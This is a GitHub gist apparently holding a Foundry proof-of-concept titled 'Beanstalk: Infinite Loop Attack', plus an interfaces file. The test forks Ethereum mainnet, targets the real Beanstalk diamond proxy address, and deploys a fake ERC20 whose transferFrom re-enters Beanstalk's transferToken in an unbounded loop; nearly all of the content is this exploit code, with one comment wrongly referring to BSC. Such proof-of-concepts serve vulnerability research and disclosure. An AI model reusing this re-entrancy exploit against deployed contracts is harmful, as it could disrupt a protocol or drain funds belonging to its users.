-
-
Save Sentient-XII/3849a0f6a1db2aef9ad102854fa87f51 to your computer and use it in GitHub Desktop.
Beanstalk: Infinite Loop Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.13; | |
import "forge-std/Test.sol"; | |
import "forge-std/console.sol"; | |
import "./interfaces.sol"; | |
address constant DiamondProxy = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5; | |
address constant BeanToken = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab; | |
address constant Fake = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f; | |
address constant attacker = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f; | |
contract ContractTest is Test { | |
MyFakeERC20 FakeToken; | |
IBeanstalkERC20 public constant bean = IBeanstalkERC20(BeanToken); | |
IDiamond private constant beanstalk = IDiamond(DiamondProxy); | |
address alice = vm.addr(1); | |
address eve = vm.addr(2); | |
function setUp() public { | |
vm.createSelectFork("https://rpc.ankr.com/eth", 18068191); //fork bsc at block 29386056 | |
FakeToken = new MyFakeERC20(0); | |
deal(address(bean), address(attacker), 20_000_000e6); | |
assertEq(bean.balanceOf(address(attacker)), 20_000_000e6); | |
deal(address(FakeToken), address(this), 10_000_000e6); | |
assertEq(FakeToken.balanceOf(address(this)), 10_000_000e6); | |
} | |
function testTransfer() public { | |
console.log("1. ABLE TO DEPOSIT FAKE TOKEN"); | |
console.log("Bean Balance before :",bean.balanceOf(address(beanstalk))); | |
console.log("Bean Balance this before :",bean.balanceOf(address(attacker))); | |
bean.approve(address(beanstalk), type(uint256).max); | |
FakeToken.approve(address(beanstalk), type(uint256).max); | |
console.log("----------------------------------------------------------------------"); | |
beanstalk.transferToken(address(FakeToken), address(attacker), 10_000_000e6, 0, 1); | |
console.log("Bean Balance after :",bean.balanceOf(address(beanstalk))); | |
console.log("Bean Balance this after :",bean.balanceOf(address(attacker))); | |
} | |
} | |
contract MyFakeERC20 { | |
IBeanstalkERC20 public constant bean = IBeanstalkERC20(BeanToken); | |
IDiamond private constant beanstalk = IDiamond(DiamondProxy); | |
IFakeERC20 private constant token = IFakeERC20(Fake); | |
string public name = "My Token"; // Name of the token | |
string public symbol = "MTK"; // Symbol of the token (usually 3-4 characters) | |
uint8 public decimals = 18; // Number of decimals | |
uint256 public totalSupply; // Total supply of the token | |
mapping(address => uint256) public balanceOf; // Balance of each address | |
mapping(address => mapping(address => uint256)) public allowance; // Allowance for token transfers | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
constructor(uint256 initialSupply) { | |
totalSupply = initialSupply * 10 ** uint256(decimals); | |
balanceOf[msg.sender] = totalSupply; | |
} | |
function transfer(address to, uint256 value) public returns (bool success) { | |
require(to != address(0), "Invalid address"); | |
require(balanceOf[msg.sender] >= value, "Insufficient balance"); | |
balanceOf[msg.sender] -= value; | |
balanceOf[to] += value; | |
emit Transfer(msg.sender, to, value); | |
return true; | |
} | |
function approve(address spender, uint256 value) public returns (bool success) { | |
allowance[msg.sender][spender] = value; | |
bean.approve(address(beanstalk), type(uint256).max); | |
//beanstalk.transferToken(address(bean), address(attacker), 10_000_000e6, 0, 1); | |
emit Approval(msg.sender, spender, value); | |
return true; | |
} | |
//reenter tokenTransfer from Fake Token transferFrom function | |
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { | |
// This loop has no termination condition, leading to an infinite loop. | |
while (true) { | |
// Code inside the loop (e.g., modifying state variables). | |
beanstalk.transferToken(address(bean), address(attacker), 0, 0, 1); | |
} | |
// Code after the loop (if any). | |
} | |
receive() external payable {} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0-only | |
pragma solidity ^0.8.13; | |
interface IBeanstalkERC20 { | |
function DEFAULT_ADMIN_ROLE() external returns (bytes32); | |
function MINTER_ROLE() external returns (bytes32); | |
function hasRole(bytes32,address) external view returns (bool); | |
function getRoleMemberCount(bytes32) external view returns (uint256); | |
function getRoleMember(bytes32,uint256) external view returns (address); | |
function getRoleAdmin(bytes32) external view returns (bytes32); | |
function grantRole(bytes32,address) external; | |
function revokeRole(bytes32,address) external; | |
function renounceRole(bytes32,address) external; | |
function burn(uint256) external; | |
function burnFrom(address,uint256) external; | |
function name() external view returns (string memory); | |
function symbol() external view returns (string memory); | |
function totalSupply() external view returns (uint256); | |
function balanceOf(address) external view returns (uint256); | |
function transfer(address,uint256) external returns (bool); | |
function allowance(address,address) external view returns (uint256); | |
function approve(address,uint256) external returns (bool); | |
function transferFrom(address,address,uint256) external returns (bool); | |
function increaseAllowance(address,uint256) external returns (bool); | |
function decreaseAllowance(address,uint256) external returns (bool); | |
function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external; | |
function nonces(address) external view returns (uint256); | |
function DOMAIN_SEPARATOR() external view returns (bytes32); | |
function mint(address,uint256) external; | |
function decimals() external view returns (uint8); | |
} | |
interface IDiamond { | |
function deposit(address token, uint256 amount, uint8 mode) external; | |
function withdrawDeposit( | |
address token, | |
int96 stem, | |
uint256 amount, | |
uint8 mode | |
) external; | |
function sow(uint256 amount, uint8 mode) external; | |
function plant() external; | |
function gm(address account, uint8 mode) external; | |
function sunrise() external; | |
function transferToken( | |
address token, | |
address recipient, | |
uint256 amount, | |
uint8 fromMode, | |
uint8 toMode | |
) external; | |
} | |
interface IFakeERC20 { | |
event Sent(address, address, address, uint256, bytes, bytes); | |
event Minted(address, address, uint256, bytes, bytes); | |
event Burned(address, address, uint256, bytes, bytes); | |
event AuthorizedOperator(address, address); | |
event RevokedOperator(address, address); | |
event Transfer(address, address, uint256); | |
event Approval(address, address, uint256); | |
function name() external view returns (string memory); | |
function symbol() external view returns (string memory); | |
function decimals() external pure returns (uint8); | |
function granularity() external view returns (uint256); | |
function totalSupply() external view returns (uint256); | |
function balanceOf(address) external view returns (uint256); | |
function send(address,uint256,bytes calldata) external; | |
function transfer(address,uint256) external returns (bool); | |
function burn(uint256,bytes calldata) external; | |
function isOperatorFor(address,address) external view returns (bool); | |
function authorizeOperator(address) external; | |
function revokeOperator(address) external; | |
function defaultOperators() external view returns (address[] memory); | |
function operatorSend(address,address,uint256,bytes calldata,bytes calldata) external; | |
function operatorBurn(address,uint256,bytes calldata,bytes calldata) external; | |
function allowance(address,address) external view returns (uint256); | |
function approve(address,uint256) external returns (bool); | |
function transferFrom(address,address,uint256) external returns (bool); | |
} | |
interface IERC1820Registry { | |
function setManager(address account, address newManager) external; | |
function getManager(address account) external view returns (address); | |
function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external; | |
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); | |
function interfaceHash(string calldata interfaceName) external pure returns (bytes32); | |
function updateERC165Cache(address account, bytes4 interfaceId) external; | |
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); | |
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); | |
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); | |
event ManagerChanged(address indexed account, address indexed newManager); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment